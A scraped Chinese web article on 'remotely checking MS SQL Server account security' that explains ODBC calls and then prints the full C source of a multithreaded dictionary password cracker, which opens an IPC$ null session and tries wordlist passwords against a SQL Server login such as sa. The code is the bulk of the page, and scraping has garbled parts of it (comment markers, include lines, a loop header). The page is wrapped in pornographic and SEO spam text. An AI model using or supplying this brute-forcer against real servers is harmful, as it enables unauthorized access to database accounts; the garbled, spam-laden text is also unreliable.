国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數(shù)據(jù)庫 > SQL Server > 正文

遠(yuǎn)程檢測MS SQL Server賬號安全性

2024-08-31 00:48:31
字體:
供稿:網(wǎng)友

odbc是開放數(shù)據(jù)互連(open database connectivity)的簡稱,它是一個用于遠(yuǎn)程訪問數(shù)據(jù)庫(主要是關(guān)系型數(shù)據(jù)庫)的統(tǒng)一界面標(biāo)準(zhǔn)。  odbc下現(xiàn)實運(yùn)用中是一個數(shù)據(jù)庫的訪問庫,它提供了一組odbc api函數(shù)可以提供給編程者使用。對于程序員來說,odbc api函數(shù)集實際上等于一個動態(tài)連接庫(dll)集,可以在應(yīng)用程序中直接使用它們。

一個應(yīng)用程序直接調(diào)用odbc api函數(shù)來進(jìn)行數(shù)據(jù)庫的應(yīng)用工作,工作過程一般比較復(fù)雜。其中一種辦法大概是以下幾步:
<1>啟動odbc數(shù)據(jù)庫應(yīng)用程序。
<2>與服務(wù)器建立ipc session。
<3>創(chuàng)建數(shù)據(jù)庫應(yīng)用的環(huán)境句柄。
<4>創(chuàng)建連接句柄。
<5>連接數(shù)據(jù)源。
<6>創(chuàng)建語句句柄。
<7>通過上一步創(chuàng)建的語句句柄來執(zhí)行sql操作。
<8>釋放語句句柄。
<9>要進(jìn)行多此sql操作的話,就循環(huán)步驟6-8。
<10>斷開與數(shù)據(jù)庫的連接。
<11>釋放連接句柄。
<12>釋放環(huán)境句柄。
<13>斷開ipc session。
<14>程序結(jié)束。

下面以一個實例來說明遠(yuǎn)程檢測ms sql server賬號密碼的全過程。

/**********************************************************
module name:sqlcheck.c
date:2000.12.14
web:www.patching.net
notices:copyright(c) eyas
**********************************************************/
#include
#include
#include
#include
#include
#include
#include
#include

////////////////////////////////////////////////////////////////////////
file://定義全局變量
char dict[20000][40],//密碼字典
username[40],//用戶名
target[40],//目標(biāo)服務(wù)器
passwd[40];//已經(jīng)探測出來的正確密碼
int total=0;//字典里面單詞數(shù)量
bool cracked=false;//探測密碼成功時此值為true
handle hsemaphore,//信標(biāo)內(nèi)核對象
hevent;//事件內(nèi)核對象
long maxthreads,//最大線程數(shù)量
activethreads;//活動線程數(shù)量
////////////////////////////////////////////////////////////////////////
void usage(char *pragname)
{
printf("/npower by eyas"
"/nhttp://www.patching.net"
"/n2000/12/14"
"/n/nusage:%s "
"/nexample:%s 192.168.0.1 sa c://pwd.dic 50/n",pragname,pragname);
return;
}

////////////////////////////////////////////////////////////////////////
int readdic(char *dic)
{
file *fp;
char tmp[40];

file://打開字典文件
if((fp=fopen(dic,"r"))==null)
{
printf("/ncan't open %s",dic);
return 1;
}

while(!feof(fp))
{
file://讀取數(shù)據(jù)到臨時變量
if(fgets(tmp,40,fp)==null)
break;
file://把從文件里面讀出來的最后一位數(shù)據(jù)[換行符號]去掉
strncpy(dict[total],tmp,strlen(tmp)-1);
total++;
if(total>=19999)
break;
}
fclose(fp);
return 0;
}
////////////////////////////////////////////////////////////////////////
int connipc(char *remotename)
{
netresource nr;
dword flags=connect_update_profile;
tchar rn[30]="http:////",
ln[5]="";

strcat(rn,remotename);
strcat(rn,"http://ipc$");

nr.dwtype=resourcetype_disk;
nr.lplocalname=(lptstr)&ln;
nr.lpremotename=(lptstr)&rn;
nr.lpprovider=null;

if(wnetaddconnection2(&nr,(lpstr)"",(lpstr)"",flags)==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
int delipc(char *remotename)
{
dword ret;
tchar lpname[30]="http:////";

strcat(lpname,remotename);
strcat(lpname,"http://ipc$");

ret=wnetcancelconnection2(lpname,connect_update_profile,true);
if(ret==no_error)
{
return 0;
}
else
{
return 1;
}
}
////////////////////////////////////////////////////////////////////////
dword winapi sqlcheck(pvoid ppwd)
{
file://定義局部變量
char szbuffer[1025];
char *pwd;
sword swstrlen;
sqlhdbc hdbc;
sqlhandle henv;
sqlreturn retcode;//odbc api運(yùn)行返回值
schar connstr[200];//連接數(shù)據(jù)庫字符串
long previouscount;

file://取得傳遞過來準(zhǔn)備探測的密碼
pwd=(char *)ppwd;
file://構(gòu)造連接數(shù)據(jù)庫字符
sprintf(connstr,"driver={sql server};server=%s;uid=%s;pwd=%s;database=master",
target,username,pwd);
file://puts(connstr);
__try{
file://創(chuàng)建數(shù)據(jù)庫應(yīng)用的環(huán)境句柄
if (sqlallochandle(sql_handle_env,sql_null_handle,&henv) !=sql_success)
{
printf("/nallocate environment handle failed./n");
exitprocess(1);
}
file://設(shè)置odbc版本環(huán)境
if (sqlsetenvattr(henv, sql_attr_odbc_version,(sqlpointer)
sql_ov_odbc3, sql_is_integer) != sql_success)
{
printf("/nset the odbc version environment attribute failed./n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://創(chuàng)建連接句柄
if ((retcode= sqlallochandle(sql_handle_dbc,henv,(sqlhdbc far
*)&hdbc)) != sql_success)
{
printf("/nallocate connection handle failed./n");
sqlfreehandle(sql_handle_env, henv);
exitprocess(1);
}
file://連接數(shù)據(jù)源
retcode= sqldriverconnect(hdbc,null,connstr,strlen(connstr),
szbuffer,sizeof(szbuffer),&swstrlen,
sql_driver_complete_required);
if(retcode!=sql_success && retcode != sql_success_with_info)
{
file://連接失敗,函數(shù)終止
file://printf("/ncouldn't connect to %s mssql server./n",target);
}
else
{
file://連接遠(yuǎn)程mssql server數(shù)據(jù)庫成功
cracked=true;
strncpy(passwd,pwd,sizeof(passwd));
file://斷開連接
sqldisconnect(hdbc);
}
}//end of tyr
__finally{
file://釋放連接句柄
sqlfreehandle(sql_handle_dbc, hdbc);
file://釋放環(huán)境句柄
sqlfreehandle(sql_handle_env, henv);
file://對信標(biāo)當(dāng)前資源數(shù)量進(jìn)行遞增1,并取得當(dāng)前資源數(shù)量的原始值
releasesemaphore(hsemaphore,1,&previouscount);
file://計算當(dāng)前活動線程數(shù)量
activethreads=maxthreads-previouscount-1;
file://printf("/nactivethreads-->%d.",activethreads);
file://如果活動線程數(shù)量為0,那么將事件內(nèi)核對象hevent改為已通知狀態(tài),程序結(jié)束
if(activethreads==0)
{
setevent(hevent);
}
}//end of finally
return 0;
}

////////////////////////////////////////////////////////////////////////
int main(int argc,char **argv)
{
handle hthread;//線程句柄
dword dwthreadid,dwret;
int i=0,err=0;
clock_t start,end;//程序運(yùn)行的起始和結(jié)束時間
double duration;

if(argc!=5)
{
usage(argv[0]);
return 1;
}
file://取得目標(biāo)地址,用戶名
strncpy(target,argv[1],sizeof(target));
strncpy(username,argv[2],sizeof(username));
file://取得并檢查用戶輸入的最大線程數(shù)量
maxthreads=atol(argv[4]);
if((maxthreads>100) || (maxthreads<1))
{
usage(argv[0]);
return 1;
}
file://讀取字典中的單詞到內(nèi)存中
if(readdic(argv[3])!=0)
return 1;
file://與目標(biāo)機(jī)器建立ipc session
if(connipc(argv[1])!=0)
{
printf("/ncan't built ipc null session!");
return 1;
}
else
{
printf("/nbuilt ipc null session success!/n");
}
file://創(chuàng)建信標(biāo)內(nèi)核對象,最大資源數(shù)量和可以使用的資源數(shù)量均為maxthreads
hsemaphore=createsemaphore(null,maxthreads,maxthreads,null);
if(hsemaphore==null)
{
printf("/ncreatesemaphore() failed.errorcode:%d.",getlasterror());
return 1;
}
file://創(chuàng)建事件內(nèi)核對象[人工重置,初始狀態(tài)為未通知]
hevent=createevent(null,true,false,null);
if(hevent==null)
{
printf("/ncreateevent() failed.errorcode:%d.",getlasterror());
closehandle(hsemaphore);
return 1;
}
file://開始計時
start=clock();
file://開始建立線程探測密碼
for(i=0;i {
file://探測密碼成功后跳出此循環(huán)
if(cracked==true)
break;
file://顯示進(jìn)度信息
printf("/n[%d/%d] %s -> %s -> %s",i+1,total,target,username,dict[i]);
file://創(chuàng)建線程
hthread=createthread(null,0,sqlcheck,(pvoid)&dict[i],0,&dwthreadid);
file://處理創(chuàng)建線程錯誤的情況
if(hthread==null)
{
err++;
messagebox(null,"thread error","error",mb_ok);
if(err>=50)
break;
}
closehandle(hthread);
sleep(10);
file://等待信標(biāo)內(nèi)核對象通知,可用資源數(shù)量大于0則繼續(xù)創(chuàng)建線程,等于0則線程進(jìn)入等待狀態(tài)
waitforsingleobject(hsemaphore,infinite);
}
file://等待事件內(nèi)核對象通知,最多等待3分鐘
dwret=waitforsingleobject(hevent,180000);
switch(dwret)
{
case wait_object_0:
printf("/nall thread done.");
break;
case wait_timeout:
printf("/nwait time out.exit.");
break;
case wait_failed:
printf("/nwaitforsingleobject() failed.");
break;
}
file://斷開與目標(biāo)機(jī)器的ipc session
delipc(target);
file://探測密碼成功后回顯信息
if(cracked==true)
printf("/n/nsuccess!%s sql server user [%s] passwd is [%s].",target,username,passwd);
file://記時結(jié)束
end=clock();
file://轉(zhuǎn)換時間格式
duration = (double)(end - start) / clocks_per_sec;
file://顯示所用時間
printf("/n/ncomplete.use %2.1f seconds./n",duration);
return 0;
}
////////////////////////////////////////////////////////////////////////
程序在windows2000,vc++6.0環(huán)境下編譯通過。

注冊會員,創(chuàng)建你的web開發(fā)資料庫,
發(fā)表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發(fā)表
主站蜘蛛池模板: 竹溪县| 嘉峪关市| 淮阳县| 杭锦后旗| 伊吾县| 吉林省| 柳林县| 桐庐县| 偏关县| 永丰县| 阳东县| 顺昌县| 扶余县| 湟源县| 谢通门县| 鹿邑县| 博罗县| 霍邱县| 浦北县| 青河县| 清徐县| 玛纳斯县| 佳木斯市| 安宁市| 连云港市| 稻城县| 文水县| 乌兰县| 尼玛县| 青阳县| 太保市| 万盛区| 贺州市| 健康| 阆中市| 曲水县| 上饶县| 阜康市| 封丘县| 靖安县| 洱源县|